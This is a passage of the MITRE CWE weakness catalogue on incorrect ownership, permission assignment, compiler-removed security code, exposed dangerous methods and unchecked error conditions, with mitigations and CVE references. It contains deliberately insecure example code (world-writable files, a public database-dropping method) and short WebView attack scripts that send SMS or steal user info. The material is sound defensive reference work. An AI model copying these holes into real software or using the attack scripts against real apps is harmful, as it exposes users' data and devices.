Extended Description

If a message is malformed, it may cause the message to be incorrectly interpreted.

Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe." This can be done by:

- checking that the input/output is already "safe" (e.g. validation)
- transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization
- preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values)
- preventing the input/output from being processed at all

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-708: Incorrect Ownership Assignment

Weakness ID : 708 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The software assigns an owner to a resource, but the owner is outside of the intended control sphere.

Extended Description

This may allow the resource to be manipulated by actors outside of the intended control sphere.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data *An attacker could read and modify data for which they do not have permissions to access directly.*	

Potential Mitigations

Phase: Policy

Periodically review the privileges and their owners.

Phase: Testing

Use automated tools to check for privilege settings.

Observed Examples

Reference	Description
CVE-2007-5101	File system sets wrong ownership and group when creating a new file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5101*
CVE-2007-4238	OS installs program with bin owner/group, allowing modification. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4238*
CVE-2007-1716	Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1716*

Reference	Description
CVE-2005-3148	Backup software restores symbolic links with incorrect uid/gid. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3148*
CVE-2005-1064	Product changes the ownership of files that a symlink points to, instead of the symlink itself. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1064*
CVE-2011-1551	Component assigns ownership of sensitive directory tree to a user account, which can be leveraged to perform privileged operations. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1551*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	944	SFP Secondary Cluster: Access Management	888	1933

Notes

Maintenance

This overlaps verification errors, permissions, and privileges. A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

CWE-710: Improper Adherence to Coding Standards

Weakness ID : 710 **Status:** Incomplete
Structure : Simple
Abstraction : Pillar

Description

The software does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	978	SFP Secondary Cluster: Implementation	888	1948

CWE-732: Incorrect Permission Assignment for Critical Resource

Weakness ID : 732 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

Extended Description

When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Technology : Technology-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.*	
Access Control	Gain Privileges or Assume Identity *An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.*	
Integrity Other	Modify Application Data Other *An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.*	

Detection Methods

Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Automated Dynamic Analysis

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then

the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Fuzzing

Fuzzing is not effective in detecting this weakness.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Host Application Interface Scanner Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Forced Path Execution

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Effectiveness = Moderate

This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Implementation

Phase: Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Effectiveness = High

Phase: System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Effectiveness = High

Phase: Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Phase: Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Phase: Operation

Phase: System Configuration

Strategy = Environment Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Demonstrative Examples

Example 1:

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

Example Language: C *(bad)*

```
#define OUTFILE "hello.out"
umask(0);
FILE *out;
/* Ignore CWE-59 (link following) for brevity */
out = fopen(OUTFILE, "w");
if (out) {
    fprintf(out, "hello world!\n");
    fclose(out);
}
```

After running this program on a UNIX system, running the "ls -l" command might return the following output:

Example Language: *(result)*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
```

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

Example 2:

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

Example Language: PHP *(bad)*

```
function createUserDir($username){
    $path = '/home/'.$username;
    if(!mkdir($path)){
        return false;
    }
    if(!chown($path,$username)){
        rmdir($path);
        return false;
    }
    return true;
}
```

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

Example 3:

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

Example Language: Perl *(bad)*

```
$fileName = "secretFile.out";
if (-e $fileName) {
    chmod 0777, $fileName;
}
my $outFH;
if (! open($outFH, ">>$fileName")) {
    ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status!\n";
close($outFH);
```

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

Example Language: *(result)*

```
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
```

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

Example Language: *(result)*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
```

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

Example 4:

The following command recursively sets world-readable permissions for a directory and all of its children:

Example Language: Shell *(bad)*

```
chmod -R ugo+r DIRNAME
```

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

Observed Examples

Reference	Description
CVE-2009-3482	Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3482*
CVE-2009-3897	Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3897*
CVE-2009-3489	Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3489*
CVE-2009-3289	Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3289*
CVE-2009-0115	Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0115*
CVE-2009-1073	LDAP server stores a cleartext password in a world-readable file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1073*
CVE-2009-0141	Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0141*
CVE-2008-0662	VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0662*
CVE-2008-0322	Driver installs its device interface with "Everyone: Write" permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0322*
CVE-2009-3939	Driver installs a file with world-writable permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3939*
CVE-2009-3611	Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3611*
CVE-2007-6033	Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6033*
CVE-2007-5544	Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5544*
CVE-2005-4868	Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4868
CVE-2004-1714	Security product uses "Everyone: Full Control" permissions for its configuration files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1714*
CVE-2001-0006	"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0006*
CVE-2002-0969	Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0969*

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO03-J		Create files with appropriate access permission

CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Weakness ID : 733 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Compiled *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other	

Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Observed Examples

Reference	Description
CVE-2008-1685	C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1685*
CVE-2019-1010006	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1010006*

CWE-749: Exposed Dangerous Method or Function

Weakness ID : 749 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

1) The function/method was never intended to be exposed to outside actors.
2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2019

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Read Application Data	
Availability	Modify Application Data	
Access Control	Execute Unauthorized Code or Commands	
Other	Other	
	Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.	

Potential Mitigations

Phase: Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be: accessible to all users restricted to a small set of privileged users prevented from being directly accessible at all Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

Demonstrative Examples

Example 1:

In the following Java example the method removeDatabase will delete the database with the name specified in the input parameter.

Example Language: Java *(bad)*

```
public void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.

Example Language: Java *(good)*

```
private void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
```

```
    } catch (SQLException ex) {...}
    }
```

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C *(bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Example 3:

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

Example Language: Java *(bad)*

```
public class WebViewGUI extends Activity {
    WebView mainWebView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mainWebView = new WebView(this);
```

```
        mainWebView.getSettings().setJavaScriptEnabled(true);
        mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
        mainWebView.loadUrl("file:///android_asset/www/index.html");
        setContentView(mainWebView);
    }
    final class JavaScriptInterface {
        JavaScriptInterface () {}
        public String getUserInfo() {
            return currentUser.Info();
        }
    }
}
```

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using addJavascriptInterface(). This means that a malicious website loaded within this WebView can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

Example Language: JavaScript *(attack)*

```
<script>
    userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber,
    null, attackMessage, null, null);
</script>
```

This malicious script can use the userInfoObject object to load the SmsManager object and send arbitrary text messages to any recipient.

Example 4:

After Android 4.2, only methods annotated with @JavascriptInterface are available in JavaScript, protecting usage of getClass() by default, as in this example:

Example Language: Java *(bad)*

```
final class JavaScriptInterface {
    JavaScriptInterface () { }
    @JavascriptInterface
    public String getUserInfo() {
        return currentUser.Info();
    }
}
```

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the WebView. Even malicious iframes loaded within a trusted page may access the exposed interface:

Example Language: JavaScript *(attack)*

```
<script>
    var info = window.userInfoObject.getUserInfo();
    sendUserInfo(info);
</script>
```

This malicious code within an iframe is able to access the interface object and steal the user's data.

Observed Examples

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Notes

Research Gap

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

CWE-754: Improper Check for Unusual or Exceptional Conditions

Weakness ID : 754 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the software.

Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	DoS: Crash, Exit, or Restart Unexpected State *The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.*	

Detection Methods

Automated Static Analysis

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's

environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness = High

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Effectiveness = High

Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success. If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not. Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

Phase: Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Phase: Architecture and Design

Use system limits, which should help to prevent resource exhaustion. However, the software should still handle low resource conditions since they may still occur.

Demonstrative Examples

Example 1:

Consider the following code segment:

Example Language: C *(bad)*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

Example Language: C *(bad)*

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 3:

The following examples read a file into a byte array.

